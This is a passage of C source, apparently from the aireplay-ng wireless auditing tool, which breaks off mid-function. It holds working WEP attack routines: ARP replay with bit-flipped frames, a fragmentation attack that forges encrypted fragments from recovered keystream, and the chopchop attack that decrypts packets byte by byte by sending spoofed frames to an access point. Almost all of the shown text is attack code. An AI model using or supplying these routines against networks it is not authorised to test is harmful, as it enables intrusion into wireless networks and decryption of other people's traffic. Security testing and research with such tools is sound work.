		/* avoid blocking on reading the socket */
		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
		{
			perror("fcntl(O_NONBLOCK) failed");
			free(arp);
			fclose(f_cap_out);
			return (1);
		}
	}

	memset(ticks, 0, sizeof(ticks));

	tc = time(NULL) - 11;

	nb_pkt_read = 0;
	nb_bad_pkt = 0;
	nb_ack_pkt = 0;
	nb_arp = 0;
	nb_arp_tot = 0;
	arp_off1 = 0;

	while (1)
	{
		/* sleep until the next clock tick */

		if (dev.fd_rtc >= 0)
		{
			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));

			ticks[0]++;
			ticks[1]++;
			ticks[2]++;
		}
		else
		{
			gettimeofday(&tv, NULL);
			usleep(1000000 / RTC_RESOLUTION);
			gettimeofday(&tv2, NULL);

			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
				+ (float) (tv2.tv_usec - tv.tv_usec);

			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
		}

		if (ticks[1] > (RTC_RESOLUTION / 10.f))
		{
			ticks[1] = 0;
			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
				   "sent %lu packets...(%d pps)\r",
				   nb_pkt_read,
				   nb_arp_tot,
				   nb_ack_pkt,
				   nb_pkt_sent,
				   (int) ((double) nb_pkt_sent
						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
			fflush(stdout);
		}

		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
		{
			/* threshold reach, send one frame */

			ticks[2] = 0;

			if (nb_arp > 0)
			{
				if (nb_pkt_sent == 0) ticks[0] = 0;

				if (send_packet(_wi_out,
								arp[arp_off1].buf,
								(size_t) arp[arp_off1].len,
								kRewriteSequenceNumber)
					< 0)
				{
					free(arp);
					fclose(f_cap_out);
					return (1);
				}

				if (((double) ticks[0] / (double) RTC_RESOLUTION)
						* (double) opt.r_nbpps
					> (double) nb_pkt_sent)
				{
					if (send_packet(_wi_out,
									arp[arp_off1].buf,
									(size_t) arp[arp_off1].len,
									kRewriteSequenceNumber)
						< 0)
					{
						free(arp);
						fclose(f_cap_out);
						return (1);
					}
				}

				if (++arp_off1 >= nb_arp) arp_off1 = 0;
			}
		}

		/* read a frame, and check if it's an ARP request */

		if (opt.s_file == NULL)
		{
			gettimeofday(&tv, NULL);

			caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);

			if (caplen < 0)
			{
				free(arp);
				fclose(f_cap_out);
				return (1);
			}
			if (caplen == 0) continue;
		}
		else
		{
			n = sizeof(pkh);

			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
			{
				opt.s_file = NULL;
				continue;
			}

			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
			{
				SWAP32(pkh.caplen);
				SWAP32(pkh.len);
			}

			tv.tv_sec = pkh.tv_sec;
			tv.tv_usec = pkh.tv_usec;

			n = caplen = pkh.caplen;

			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
			{
				printf("\r");
				erase_line(0);
				printf("Invalid packet length %d.\n", n);
				opt.s_file = NULL;
				continue;
			}

			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
			{
				opt.s_file = NULL;
				continue;
			}

			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
			{
				/* remove the prism header */

				if (h80211[7] == 0x40)
					n = 64;
				else
					n = *(int *) (h80211 + 4); //-V1032

				if (n < 8 || n >= (int) caplen) continue;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}

			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
			{
				/* remove the radiotap header */

				n = *(unsigned short *) (h80211 + 2);

				if (n <= 0 || n >= (int) caplen) continue;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}

			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
			{
				/* remove the PPI header */

				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));

				if (n <= 0 || n >= (int) caplen) continue;

				/* for a while Kismet logged broken PPI headers */
				if (n == 24
					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
					n = 32;

				memcpy(tmpbuf, h80211, caplen);
				caplen -= n;
				memcpy(h80211, tmpbuf + n, caplen);
			}
		}

		nb_pkt_read++;

		/* check if it's a disas. or deauth packet */

		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
			&& !memcmp(h80211 + 4, opt.r_smac, 6))
		{
			nb_bad_pkt++;

			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
			{
				erase_line(0);
				printf("Notice: got a deauth/disassoc packet. Is the "
					   "source MAC associated ?\n");

				tc = time(NULL);
				nb_bad_pkt = 0;
			}
		}

		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
		{
			nb_ack_pkt++;
		}

		/* check if it's a potential ARP request */

		opt.f_minlen = opt.f_maxlen = 68;

		if (filter_packet(h80211, caplen) == 0) goto add_arp;

		opt.f_minlen = opt.f_maxlen = 86;

		if (filter_packet(h80211, caplen) == 0)
		{
		add_arp:
			z = ((h80211[1] & 3) != 3) ? 24 : 30;
			if ((h80211[0] & 0x80) == 0x80) /* QoS */
				z += 2;

			switch (h80211[1] & 3)
			{
				case 2: /* FromDS */
				{
					if (memcmp(h80211 + 4, BROADCAST, 6) == 0)
					{
						/* backup sender MAC */

						memset(senderMAC, 0, 6);
						memcpy(senderMAC, h80211 + 16, 6);

						/* rewrite to a ToDS packet */

						memcpy(h80211 + 4, opt.f_bssid, 6);
						memcpy(h80211 + 10, opt.r_smac, 6);
						memcpy(h80211 + 16, BROADCAST, 6);

						h80211[1] = 0x41; /* ToDS & WEP  */
					}
					else
					{
						nb_arp_tot++;
						continue;
					}

					break;
				}
				default:
					continue;
			}

			//             h80211[0] = 0x08;   /* normal data */

			/* if same IV, perhaps our own packet, skip it */

			for (i = 0; i < nb_arp; i++)
			{
				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
					break;
			}

			if (i < nb_arp) continue;

			if (caplen > 128) continue;
			/* add the ARP request in the ring buffer */

			nb_arp_tot++;

			/* Ring buffer size: by default: 8 ) */

			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
				continue;
			else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
				continue;
			else
			{

				if ((arp[nb_arp].buf = malloc(128)) == NULL)
				{
					perror("malloc failed");
					free(arp);
					fclose(f_cap_out);
					return (1);
				}

				memset(flip, 0, 4096);

				/* flip the sender MAC to convert it into the source MAC  */
				flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
				flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
				flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
				flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
				flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
				flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
				flip[25] ^= (rand_u8()
							 + 1); // flip random bits in last byte of sender IP

				add_crc32_plain(flip, caplen - z - 4 - 4);
				for (i = 0; i < caplen - z - 4; i++)
				{
					(h80211 + z + 4)[i] ^= flip[i];
				}

				memcpy(arp[nb_arp].buf, h80211, caplen);
				arp[nb_arp].len = caplen;
				arp[nb_arp].hdrlen = z;
				nb_arp++;

				pkh.tv_sec = tv.tv_sec;
				pkh.tv_usec = tv.tv_usec;
				pkh.caplen = caplen;
				pkh.len = caplen;

				n = sizeof(pkh);

				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
				{
					perror("fwrite failed");
					free(arp);
					fclose(f_cap_out);
					return (1);
				}

				n = pkh.caplen;

				if (fwrite(h80211, n, 1, f_cap_out) != 1)
				{
					perror("fwrite failed");
					free(arp);
					fclose(f_cap_out);
					return (1);
				}

				fflush(f_cap_out);
			}
		}
	}

	return (0);
}

static int do_attack_cfrag(void)
{
	int caplen, n;
	struct timeval tv;
	struct timeval tv2;
	float f, ticks[3];
	unsigned char bssid[6];
	unsigned char smac[6];
	unsigned char dmac[6];
	unsigned char keystream[128];
	unsigned char frag1[128], frag2[128], frag3[128];
	unsigned char clear[4096], final[4096], flip[4096];
	int isarp;
	int z, i;

	opt.f_fromds = 0;

read_packets:

	if (capture_ask_packet(&caplen, 0) != 0) return (1);

	z = ((h80211[1] & 3) != 3) ? 24 : 30;
	if ((h80211[0] & 0x80) == 0x80) /* QoS */
		z += 2;

	if (caplen < z)
	{
		goto read_packets;
	}

	if (caplen > 3800)
	{
		goto read_packets;
	}

	switch (h80211[1] & 3)
	{
		case 0:
			memcpy(bssid, h80211 + 16, 6);
			memcpy(dmac, h80211 + 4, 6);
			memcpy(smac, h80211 + 10, 6);
			break;
		case 1:
			memcpy(bssid, h80211 + 4, 6);
			memcpy(dmac, h80211 + 16, 6);
			memcpy(smac, h80211 + 10, 6);
			break;
		case 2:
			memcpy(bssid, h80211 + 10, 6);
			memcpy(dmac, h80211 + 4, 6);
			memcpy(smac, h80211 + 16, 6);
			break;
		default:
			memcpy(bssid, h80211 + 10, 6);
			memcpy(dmac, h80211 + 16, 6);
			memcpy(smac, h80211 + 24, 6);
			break;
	}

	memset(clear, 0, 4096);
	memset(final, 0, 4096);
	memset(flip, 0, 4096);
	memset(frag1, 0, 128);
	memset(frag2, 0, 128);
	memset(frag3, 0, 128);
	memset(keystream, 0, 128);

	/* check if it's a potential ARP request */

	// its length 68-24 or 86-24 and going to broadcast or a unicast mac (even
	// first byte)
	if ((caplen - z == 68 - 24 || caplen - z == 86 - 24)
		&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
	{
		/* process ARP */
		printf("Found ARP packet\n");
		isarp = 1;
		// build the new packet
		set_clear_arp(clear, smac, dmac);
		set_final_arp(final, opt.r_smac);

		for (i = 0; i < 14; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];

		// correct 80211 header
		//         h80211[0] = 0x08;    //data
		if ((h80211[1] & 3) == 0x00) // ad-hoc
		{
			h80211[1] = 0x40; // wep
			memcpy(h80211 + 4, smac, 6);
			memcpy(h80211 + 10, opt.r_smac, 6);
			memcpy(h80211 + 16, bssid, 6);
		}
		else // tods
		{
			if (opt.f_tods == 1)
			{
				h80211[1] = 0x41; // wep+ToDS
				memcpy(h80211 + 4, bssid, 6);
				memcpy(h80211 + 10, opt.r_smac, 6);
				memcpy(h80211 + 16, smac, 6);
			}
			else
			{
				h80211[1] = 0x42; // wep+FromDS
				memcpy(h80211 + 4, smac, 6);
				memcpy(h80211 + 10, bssid, 6);
				memcpy(h80211 + 16, opt.r_smac, 6);
			}
		}
		h80211[22] = 0xD0; // frag = 0;
		h80211[23] = 0x50;

		// need to shift by 10 bytes; (add 1 frag in front)
		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
		frag1[1] |= 0x04; // more frags
		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
		frag1[z + 4 + 8] = 0x00;
		frag1[z + 4 + 9] = 0x01; // ethernet
		add_crc32(frag1 + z + 4, 10);
		for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
		/* frag1 finished */

		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];

		add_crc32_plain(flip, caplen - z - 4 - 4);

		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
		h80211[22] = 0xD1; // frag = 1;

		// ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen
	}
	else
	{
		/* process IP */
		printf("Found IP packet\n");
		isarp = 0;
		// build the new packet
		set_clear_ip(
			clear,
			caplen - z - 4 - 8
				- 4); // caplen - ieee80211header - IVIDX - LLC/SNAP - ICV
		set_final_ip(final, opt.r_smac);

		for (i = 0; i < 8; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];

		// correct 80211 header
		//         h80211[0] = 0x08;    //data
		if ((h80211[1] & 3) == 0x00) // ad-hoc
		{
			h80211[1] = 0x40; // wep
			memcpy(h80211 + 4, smac, 6);
			memcpy(h80211 + 10, opt.r_smac, 6);
			memcpy(h80211 + 16, bssid, 6);
		}
		else
		{
			if (opt.f_tods == 1)
			{
				h80211[1] = 0x41; // wep+ToDS
				memcpy(h80211 + 4, bssid, 6);
				memcpy(h80211 + 10, opt.r_smac, 6);
				memcpy(h80211 + 16, smac, 6);
			}
			else
			{
				h80211[1] = 0x42; // wep+FromDS
				memcpy(h80211 + 4, smac, 6);
				memcpy(h80211 + 10, bssid, 6);
				memcpy(h80211 + 16, opt.r_smac, 6);
			}
		}
		h80211[22] = 0xD0; // frag = 0;
		h80211[23] = 0x50;

		// need to shift by 12 bytes;(add 3 frags in front)
		memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
		memcpy(frag2, h80211, z + 4); // copy 80211 header and IV
		memcpy(frag3, h80211, z + 4); // copy 80211 header and IV
		frag1[1] |= 0x04; // more frags
		frag2[1] |= 0x04; // more frags
		frag3[1] |= 0x04; // more frags

		memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4); //-V512
		add_crc32(frag1 + z + 4, 4);
		for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];

		memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
		add_crc32(frag2 + z + 4, 4);
		for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
		frag2[22] = 0xD1; // frag = 1;

		frag3[z + 4 + 0] = 0x00; //-V525
		frag3[z + 4 + 1] = 0x01; // ether
		frag3[z + 4 + 2] = 0x08; // IP
		frag3[z + 4 + 3] = 0x00;
		add_crc32(frag3 + z + 4, 4);
		for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
		frag3[22] = 0xD2; // frag = 2;
		/* frag1,2,3 finished */

		for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];

		add_crc32_plain(flip, caplen - z - 4 - 4);

		for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
		h80211[22] = 0xD3; // frag = 3;

		// ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen
	}

	/* loop resending the packet */

	/* Check if airodump-ng is running. If not, print that message */
	printf("You should also start airodump-ng to capture replies.\n\n");

	signal(SIGINT, sighandler);
	ctrl_c = 0;

	memset(ticks, 0, sizeof(ticks));

	nb_pkt_sent = 0;

	while (1)
	{
		if (ctrl_c) goto read_packets;

		/* wait for the next timer interrupt, or sleep */

		if (dev.fd_rtc >= 0)
		{
			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));

			ticks[0]++;
			ticks[1]++;
			ticks[2]++;
		}
		else
		{
			/* we can't trust usleep, since it depends on the HZ */

			gettimeofday(&tv, NULL);
			usleep(1000000 / RTC_RESOLUTION);
			gettimeofday(&tv2, NULL);

			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
				+ (float) (tv2.tv_usec - tv.tv_usec);

			ticks[0] += f / (1000000.f / (float) RTC_RESOLUTION);
			ticks[1] += f / (1000000.f / (float) RTC_RESOLUTION);
			ticks[2] += f / (1000000.f / (float) RTC_RESOLUTION);
		}

		/* update the status line */

		if (ticks[1] > (float) RTC_RESOLUTION / 10.f)
		{
			ticks[1] = 0;
			printf("\rSent %lu packets...(%d pps)",
				   nb_pkt_sent,
				   (int) ((double) nb_pkt_sent
						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
			fflush(stdout);
			erase_line(0);
			printf("\r");
		}

		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;

		/* threshold reached */

		ticks[2] = 0;

		if (nb_pkt_sent == 0) ticks[0] = 0;

		if (isarp)
		{
			if (send_packet(_wi_out,
							frag1,
							(size_t) z + 4 + 10 + 4,
							kRewriteSequenceNumber)
				< 0)
				return (1);
			nb_pkt_sent--;
		}
		else
		{
			if (send_packet(_wi_out,
							frag1,
							(size_t) z + 4 + 4 + 4,
							kRewriteSequenceNumber)
				< 0)
				return (1);
			if (send_packet(_wi_out,
							frag2,
							(size_t) z + 4 + 4 + 4,
							kRewriteSequenceNumber)
				< 0)
				return (1);
			if (send_packet(_wi_out,
							frag3,
							(size_t) z + 4 + 4 + 4,
							kRewriteSequenceNumber)
				< 0)
				return (1);
			nb_pkt_sent -= 3;
		}
		if (send_packet(
				_wi_out, h80211, (size_t) caplen, kRewriteSequenceNumber)
			< 0)
			return (1);
	}

	return (0);
}

static int do_attack_chopchop(void)
{
	float f, ticks[4];
	int i, j, n, z, caplen, srcz;
	int data_start, data_end, srcdiff, diff;
	int guess, is_deauth_mode;
	int nb_bad_pkt;
	int tried_header_rec = 0;

	unsigned char b1 = 0xAA;
	unsigned char b2 = 0xAA;

	FILE * f_cap_out;
	long nb_pkt_read;
	unsigned long crc_mask;
	unsigned char * chopped;

	unsigned char packet[4096];

	time_t tt;
	struct tm * lt;
	struct timeval tv;
	struct timeval tv2;
	struct pcap_file_header pfh_out;
	struct pcap_pkthdr pkh;

	if (getnet(_wi_in,
			   NULL,
			   1,
			   0,
			   opt.f_bssid,
			   opt.r_bssid,
			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
		return (EXIT_FAILURE);

	rand_init();

	if (capture_ask_packet(&caplen, 0) != 0) return (1);

	z = ((h80211[1] & 3) != 3) ? 24 : 30;
	if ((h80211[0] & 0x80) == 0x80) /* QoS */
		z += 2;
	srcz = z;

	if ((unsigned) caplen > sizeof(srcbuf)
		|| (unsigned) caplen > sizeof(h80211))
		return (1);

	if (opt.r_smac_set == 1)
	{
		// handle picky APs (send one valid packet before all the invalid ones)
		memset(packet, 0, sizeof(packet));

		memcpy(packet, NULL_DATA, 24);
		memcpy(packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
		memcpy(packet + 10, opt.r_smac, 6);
		memcpy(packet + 16, opt.f_bssid, 6);

		packet[0] = 0x08; // make it a data packet
		packet[1] = 0x41; // set encryption and ToDS=1

		memcpy(packet + 24, h80211 + z, (size_t) caplen - z);

		if (send_packet(_wi_out,
						packet,
						(size_t) caplen - z + 24,
						kRewriteSequenceNumber)
			!= 0)
			return (1);
		// done sending a correct packet
	}

	/* Special handling for spanning-tree packets */
	if (memcmp(h80211 + 4, SPANTREE, 6) == 0
		|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
	{
		b1 = 0x42;
		b2 = 0x42;
	}

	printf("\n");

	/* chopchop operation mode: truncate and decrypt the packet */
	/* we assume the plaintext starts with  AA AA 03 00 00 00   */
	/* (42 42 03 00 00 00 for spanning-tree packets)            */

	memcpy(srcbuf, h80211, caplen);

	/* setup the chopping buffer */

	n = caplen - z + 24;

	if ((chopped = (unsigned char *) malloc(n)) == NULL)
	{
		perror("malloc failed");
		return (1);
	}

	memset(chopped, 0, n);

	data_start = 24 + 4;
	data_end = n;
	srcdiff = z - 24;

	chopped[0] = 0x08; /* normal data frame */
	chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */

	/* copy the duration */

	memcpy(chopped + 2, h80211 + 2, 2);

	/* copy the BSSID */

	switch (h80211[1] & 3)
	{
		case 0:
			memcpy(chopped + 4, h80211 + 16, 6);
			break;
		case 1:
			memcpy(chopped + 4, h80211 + 4, 6);
			break;
		case 2:
			memcpy(chopped + 4, h80211 + 10, 6);
			break;
		default:
			memcpy(chopped + 4, h80211 + 10, 6);
			break;
	}

	/* copy the WEP IV */

	memcpy(chopped + 24, h80211 + z, 4);

	/* setup the xor mask to hide the original data */

	crc_mask = 0;

	for (i = data_start; i < data_end - 4; i++)
	{
		switch (i - data_start)
		{
			case 0:
				chopped[i] = b1 ^ 0xE0;
				break;
			case 1:
				chopped[i] = b2 ^ 0xE0;
				break;
			case 2:
				chopped[i] = 0x03 ^ 0x03;
				break;
			default:
				chopped[i] = 0x55 ^ (i & 0xFF);
				break;
		}

		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8UL)
				   ^ ((unsigned long) chopped[i] << 24UL);
	}

	for (i = 0; i < 4; i++)
		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8);

	chopped[data_end - 4] = crc_mask;
	crc_mask >>= 8;
	chopped[data_end - 3] = crc_mask;
	crc_mask >>= 8;
	chopped[data_end - 2] = crc_mask;
	crc_mask >>= 8;
	chopped[data_end - 1] = crc_mask;
	crc_mask >>= 8;

	for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i + srcdiff];

	data_start += 6; /* skip the SNAP header */

	/* if the replay source mac is unspecified, forge one */

	if (opt.r_smac_set == 0)
	{
		is_deauth_mode = 1;

		opt.r_smac[0] = 0x00;
		opt.r_smac[1] = rand_u8() & 0x3E;
		opt.r_smac[2] = rand_u8();
		opt.r_smac[3] = rand_u8();
		opt.r_smac[4] = rand_u8();

		memcpy(opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
	}
	else
	{
		is_deauth_mode = 0;

		opt.r_dmac[0] = 0xFF;
		opt.r_dmac[1] = rand_u8() & 0xFE;
		opt.r_dmac[2] = rand_u8();
		opt.r_dmac[3] = rand_u8();
		opt.r_dmac[4] = rand_u8();
	}

	/* let's go chopping */

	memset(ticks, 0, sizeof(ticks));

	nb_pkt_read = 0;
	nb_pkt_sent = 0;
	nb_bad_pkt = 0;
	guess = 256;

	tt = time(NULL);

	alarm(30);

	signal(SIGALRM, sighandler);

	if (opt.port_in <= 0)
	{
		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
		{
			perror("fcntl(O_NONBLOCK) failed");
			free(chopped);
			return (1);
		}
	}

	while (data_end > data_start)
	{
		if (alarmed)
		{
			printf("\n\n"
				   "The chopchop attack appears to have failed. Possible "
				   "reasons:\n"
				   "\n"
				   "    * You're trying to inject with an unsupported chipset "
				   "(Centrino?).\n"
				   "    * The driver source wasn't properly patched for "
				   "injection support.\n"
				   "    * You are too far from the AP. Get closer or reduce "
				   "the send rate.\n"
				   "    * Target is 802.11g only but you are using a Prism2 or "
				   "RTL8180.\n"
				   "    * The wireless interface isn't setup on the correct "
				   "channel.\n");
			if (is_deauth_mode)
				printf("    * The AP isn't vulnerable when operating in "
					   "non-authenticated mode.\n"
					   "      Run aireplay-ng in authenticated mode instead "
					   "(-h option).\n\n");
			else
				printf("    * The client MAC you have specified is not "
					   "currently authenticated.\n"
					   "      Try running another aireplay-ng to fake "
					   "authentication (attack \"-1\").\n"
					   "    * The AP isn't vulnerable when operating in "
					   "authenticated mode.\n"
					   "      Try aireplay-ng in non-authenticated mode "
					   "instead (no -h option).\n\n");
			free(chopped);
			return (1);
		}

		/* wait for the next timer interrupt, or sleep */

		if (dev.fd_rtc >= 0)
		{
			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));

			ticks[0]++; /* ticks since we entered the while loop     */
			ticks[1]++; /* ticks since the last status line update   */
			ticks[2]++; /* ticks since the last frame was sent       */
			ticks[3]++; /* ticks since started chopping current byte */
		}
		else
		{
			/* we can't trust usleep, since it depends on the HZ */

			gettimeofday(&tv, NULL);
			usleep(976);
			gettimeofday(&tv2, NULL);

			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
				+ (float) (tv2.tv_usec - tv.tv_usec);

			ticks[0] += f / 976;
			ticks[1] += f / 976;
			ticks[2] += f / 976;
			ticks[3] += f / 976;
		}

		/* update the status line */

		if (ticks[1] > (RTC_RESOLUTION / 10.f))
		{
			ticks[1] = 0;
			printf("\rSent %3lu packets, current guess: %02X...",
				   nb_pkt_sent,
				   guess);
			fflush(stdout);
			erase_line(0);
		}

		if (data_end < 41
			&& ticks[3] > 8 * (ticks[0] - ticks[3])
							  / (int) (caplen - (data_end - 1)))
		{
		header_rec:

			printf("\n\nThe AP appears to drop packets shorter "
				   "than %d bytes.\n",
				   data_end);

			data_end = 40;

			z = ((h80211[1] & 3) != 3) ? 24 : 30;
			if ((h80211[0] & 0x80) == 0x80) /* QoS */
				z += 2;

			diff = z - 24;

			if ((chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0]) == 0x06
				&& (chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1])
					   == 0x04
				&& (chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2])
					   == 0x00)
			{
				printf("Enabling standard workaround: "
					   "ARP header re-creation.\n");

				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; //-V525
				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06;
				chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00;
				chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01;
				chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08;
				chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00;
			}
			else
			{
				printf("Enabling standard workaround: "
					   " IP header re-creation.\n");

				n = caplen - (z + 16);

				chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA;
				chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA;
				chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
				chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
				chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
				chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00;
				chopped[24 + 14] = srcbuf[srcz + 14] ^ (n >> 8);
				chopped[24 + 15] = srcbuf[srcz + 15] ^ (n & 0xFF);

				memcpy(h80211, srcbuf, caplen);

				for (i = z + 4; i < (int) caplen; i++)
					h80211[i - 4] = h80211[i] ^ chopped[i - diff];

				/* sometimes the header length or the tos field vary */

				for (i = 0; i < 16; i++)
				{
					h80211[z + 8] = 0x40 + i;
					chopped[24 + 12] = srcbuf[srcz + 12] ^ (0x40 + i);

					for (j = 0; j < 256; j++)
					{
						h80211[z + 9] = j;
						chopped[24 + 13] = srcbuf[srcz + 13] ^ j;

						if (check_crc_buf(h80211 + z, caplen - z - 8))
							goto have_crc_match;
					}
				}

				printf("This doesn't look like an IP packet, "
					   "try another one.\n");
			}

		have_crc_match:
			break;
		}

		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
		{
			/* send one modified frame */

			ticks[2] = 0;

			memcpy(h80211, chopped, data_end - 1);

			/* note: guess 256 is special, it tests if the  *
			 * AP properly drops frames with an invalid ICV *
			 * so this guess always has its bit 8 set to 0  */

			if (is_deauth_mode)
			{
				opt.r_smac[1] |= (guess < 256);
				opt.r_smac[5] = guess & 0xFF;
			}
			else
			{
				opt.r_dmac[1] |= (guess < 256);
				opt.r_dmac[5] = guess & 0xFF;
			}

			memcpy(h80211 + 10, opt.r_smac, 6);
			memcpy(h80211 + 16, opt.r_dmac, 6);

			if (guess < 256)
			{
				h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
				h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
				h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
				h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
			}

			errno = 0;

			if (send_packet(_wi_out,
							h80211,
							(size_t) data_end - 1,
							kRewriteSequenceNumber)
				!= 0)
			{
				free(chopped);
				return (1);
			}

			if (errno != EAGAIN)
			{
				guess++;

				if (guess > 256) guess = 0;
			}
		}

		/* watch for a response from the AP */

		do
		{
			n = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
		} while (n == -1 && errno == EAGAIN);

		if (n < 0)
		{
			free(chopped);
			return (1);
		}

		if (n == 0) continue;

		nb_pkt_read++;

		/* check if it's a deauth packet */

		if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
		{
			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0 && !is_deauth_mode)
			{
				nb_bad_pkt++;

				if (nb_bad_pkt > 256)
				{
					printf("\rgot several deauthentication packets - pausing 3 "
						   "seconds for reconnection\n");
					sleep(3);
					nb_bad_pkt = 0;
				}

				continue;
			}

			if (h80211[4] != opt.r_smac[0]) continue;
			if (h80211[6] != opt.r_smac[2]) continue;
			if (h80211[7] != opt.r_smac[3]) continue;
			if (h80211[8] != opt.r_smac[4]) continue;

			if ((h80211[5] & 0xFE) != (opt.r_smac[1] & 0xFE)) continue;

			if (!(h80211[5] & 1))
			{
				if (data_end < 41) goto header_rec;

				printf("\n\nFailure: the access point does not properly "
					   "discard frames with an\ninvalid ICV - try running "
					   "aireplay-ng in authenticated mode (-h) instead.\n\n");
				free(chopped);
				return (1);
			}
		}
		else
		{
			if (is_deauth_mode) continue;

			/* check if it's a WEP data packet */

			if ((h80211[0] & 0x0C) != 8) continue;
			if ((h80211[0] & 0x70) != 0) continue;
			if ((h80211[1] & 0x03) != 2) continue;
			if ((h80211[1] & 0x40) == 0) continue;

			/* check the extended IV (TKIP) flag */

			z = ((h80211[1] & 3) != 3) ? 24 : 30;
			if ((h80211[0] & 0x80) == 0x80) /* QoS */
				z += 2;

			if ((h80211[z + 3] & 0x20) != 0) continue;

			/* check the destination address */

			if (h80211[4] != opt.r_dmac[0]) continue;
			if (h80211[6] != opt.r_dmac[2]) continue;
			if (h80211[7] != opt.r_dmac[3]) continue;
			if (h80211[8] != opt.r_dmac[4]) continue;

			if ((h80211[5] & 0xFE) != (opt.r_dmac[1] & 0xFE)) continue;

			if (!(h80211[5] & 1))
			{
				if (data_end < 41) goto header_rec;

				printf("\n\nFailure: the access point does not properly "
